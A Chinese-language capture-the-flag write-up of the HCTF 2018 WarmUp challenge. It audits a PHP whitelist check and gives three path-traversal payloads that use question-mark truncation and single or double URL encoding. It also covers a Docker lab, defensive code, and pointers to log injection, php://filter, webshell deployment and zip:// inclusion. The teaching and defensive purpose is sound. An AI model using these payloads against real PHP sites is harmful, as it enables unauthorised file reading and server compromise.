PHP 文件包含漏洞实战:HCTF 2018 WarmUp 代码审计与3种Payload构造解析
PHP文件包含漏洞深度解析:从HCTF 2018 WarmUp看白名单绕过艺术
漏洞背景与场景还原
2018年HCTF竞赛中的WarmUp题目成为了PHP文件包含漏洞的经典教学案例。这道题看似简单的笑脸页面背后,隐藏着对PHP文件包含机制和安全校验逻辑的深度考验。题目通过一个精心设计的checkFile函数,要求攻击者在严格的白名单限制下实现任意文件读取。
文件包含漏洞在Web安全领域始终占据重要地位。根据近年来的安全报告,由于错误配置或逻辑缺陷导致的文件包含问题,约占所有Web漏洞的15%。这类漏洞的危害不仅在于敏感信息泄露,更可能成为服务器沦陷的突破口。
代码审计:三层防御机制拆解
让我们深入分析题目中的核心校验逻辑。emmm类的checkFile方法构建了三道防御关卡:
class emmm { public static function checkFile(&$page) { $whitelist = ["source"=>"source.php","hint"=>"hint.php"]; // 第一层:基础校验 if (!isset($page) || !is_string($page)) { echo "you can't see it"; return false; } // 第二层:直接匹配 if (in_array($page, $whitelist)) { return true; } // 第三层:问号截断检查 $_page = mb_substr($page, 0, mb_strpos($page.'?', '?')); if (in_array($_page, $whitelist)) { return true; } // 第四层:URL解码后检查 $_page = urldecode($page); $_page = mb_substr($_page, 0, mb_strpos($_page.'?', '?')); if (in_array($_page, $whitelist)) { return true; } echo "you can't see it"; return false; } }这个校验机制看似严密,实则存在多个突破点。我们需要特别关注几个关键函数:
| 函数名称 | 作用描述 | 安全影响 |
|---|---|---|
mb_substr | 多字节安全的字符串截取 | 可能被用于路径截断 |
mb_strpos | 多字节安全的字符串位置查找 | 配合截取实现逻辑绕过 |
urldecode | URL解码 | 双重编码绕过可能性 |
突破路径:三种有效Payload构造
方法一:基础路径穿越
最直接的思路是利用白名单文件作为跳板进行目录穿越:
source.php?../../../../../../../../ffffllllaaaagggg工作原理:
mb_strpos检测到问号,截取前10个字符"source.php"- 截取后的结果匹配白名单,校验通过
- 实际包含时,问号后的路径被解释为相对路径
注意:这种方法的成功率取决于服务器配置,某些环境会严格解析问号前的路径
方法二:单次URL编码绕过
当基础方法失效时,可以尝试对关键字符进行编码:
source.php%3f../../../../../../../../ffffllllaaaagggg技术细节:
%3f是问号的URL编码- 校验时
urldecode会解码为原始问号 - 包含阶段仍保持编码状态,可能绕过某些安全限制
方法三:双重URL编码终极绕过
对于更严格的过滤环境,可以采用二次编码策略:
source.php%253f../../../../../../../../ffffllllaaaagggg执行流程:
- 第一层
urldecode将%253f转换为%3f - 第二层处理时
%3f再解码为问号 - 最终实现与基础方法相同的效果,但能绕过更多防御
漏洞复现环境搭建
为了深入理解漏洞原理,建议搭建本地测试环境。以下是使用Docker快速搭建的指南:
FROM php:7.2-apache COPY src/ /var/www/html/ RUN chmod -R 755 /var/www/html配套的PHP测试代码(保存为source.php):
<?php $file = $_GET['file']; if (emmm::checkFile($file)) { include($file); } else { echo "Access denied!"; }启动命令:
docker build -t warmup . docker run -d -p 8080:80 warmup防御方案与最佳实践
针对此类漏洞,我们推荐多层防御策略:
输入验证层
- 使用绝对路径白名单而非相对路径
- 禁止包含用户可控变量中的路径穿越符
服务器配置层
<Directory "/var/www"> Options -Indexes -Includes AllowOverride None </Directory>代码实现层
function safeInclude($file) { $base = '/var/www/safe_dir/'; $real = realpath($base . $file); if (strpos($real, $base) === 0 && file_exists($real)) { include $real; } }
漏洞利用的进阶思考
在实际渗透测试中,文件包含漏洞往往与其他漏洞形成组合拳。例如:
- 结合日志注入实现代码执行
- 利用PHP伪协议(如
php://filter)读取源码 - 配合文件上传实现webshell部署
一个有趣的技巧是使用zip://协议:
include('zip:///path/to/archive.zip%23malicious.php')这种技术可以绕过某些基础的文件扩展名检查。